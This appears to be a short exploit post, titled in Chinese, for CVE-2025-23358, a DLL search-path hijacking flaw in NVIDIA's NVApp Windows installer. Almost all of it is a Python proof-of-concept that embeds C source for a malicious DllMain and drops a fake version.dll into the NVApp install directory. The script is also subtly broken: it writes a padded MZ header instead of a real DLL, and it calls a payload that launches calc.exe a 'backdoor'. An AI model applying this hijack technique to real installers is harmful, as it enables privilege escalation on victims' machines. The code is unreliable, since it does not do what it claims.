CVE-2025-23358: NVIDIA NVApp Windows安装程序搜索路径注入导致权限提升漏洞

# CVE-2025-23358 PoC - DLL Search Path Hijacking # Target: NVIDIA NVApp for Windows Installer # This PoC demonstrates the DLL search path hijacking vulnerability import os import shutil import ctypes from ctypes import wintypes # DLL name that NVApp installer attempts to load TARGET_DLL = "version.dll" # Malicious DLL content - DLLMain that creates a backdoor MALICIOUS_DLL_CODE = ''' #include <windows.h> #include <stdio.h> BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: // Create a marker file to demonstrate code execution FILE *fp = fopen("C:\\\\Temp\\\\nvapp_exploited.txt", "w"); if (fp) { fprintf(fp, "CVE-2025-23358 exploited at %s", __TIMESTAMP__); fclose(fp); } // Execute calc.exe as demonstration of code execution WinExec("calc.exe", SW_SHOWNORMAL); break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } ''' def create_malicious_dll(dll_path): """Create the malicious DLL file""" with open(dll_path, 'wb') as f: # Write minimal PE header for DLL # In real attack, compile actual DLL f.write(b'MZ' + b'\x00' * 58 + b'\x90' * 64) print(f"[*] Malicious DLL created at: {dll_path}") def setup_exploit(working_dir): """Setup the exploitation environment""" dll_path = os.path.join(working_dir, TARGET_DLL) create_malicious_dll(dll_path) print(f"[*] Place {TARGET_DLL} in installer working directory") print(f"[*] When installer runs, it will load our malicious DLL") print(f"[*] Code execution achieved with installer privileges") if __name__ == "__main__": working_dir = "C:\\\\Program Files\\\\NVIDIA Corporation\\\\NVApp\\" setup_exploit(working_dir) print("\n[!] This is a proof-of-concept for educational purposes only")